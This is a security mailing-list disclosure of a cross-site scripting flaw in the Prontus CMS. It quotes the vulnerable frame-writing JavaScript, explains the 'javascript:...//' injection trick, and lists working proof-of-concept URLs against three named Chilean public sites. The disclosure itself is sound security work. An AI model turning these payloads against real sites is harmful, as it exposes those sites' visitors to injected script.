Re: Prontus CMS: Cross-Site Scripting vulnerability

["Zerial." <fernando () zerial org>]

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On 07/11/11 15:01, Zerial. wrote:
> Prontus is a /chilean/ "CMS" used by many sites in Chile.
>
> The vulnerability is into "antialone.html" which contains some frames
> using the value of "page" as "src" attribute:
>
> +-----------------------------antialone.html------------------------------------------+
> [...]
> page = page + '?' + Math.random();
> [...]
> document.write('  <frame name="cont" src="' + page + '" marginwidth="0"
> marginheight="0">');
> [...]
> +-------------------------------------------------------------------------------------+
>
>
> If you enter "javascript:alert(1);" the 'src' will be
> "javascript:alert(1);?<random number here>", now you must to "comment"
> all after your javascript code. Example: javascript:alert(1);//
>
> Now you can exploit it:
>
> -
> http://www.fonasa.cl/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//
>
> -
> http://www.senador.cl/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//
>
> -
> http://www.ucv.cl/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//
>
> And many other sites...
>
>
> Read this report in Spanish: http://bit.ly/p4l50m




Sorry, the correct URL for Spanish report is: http://bit.ly/pmjiq7



Cheers,


- -- 
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial () jabberes org
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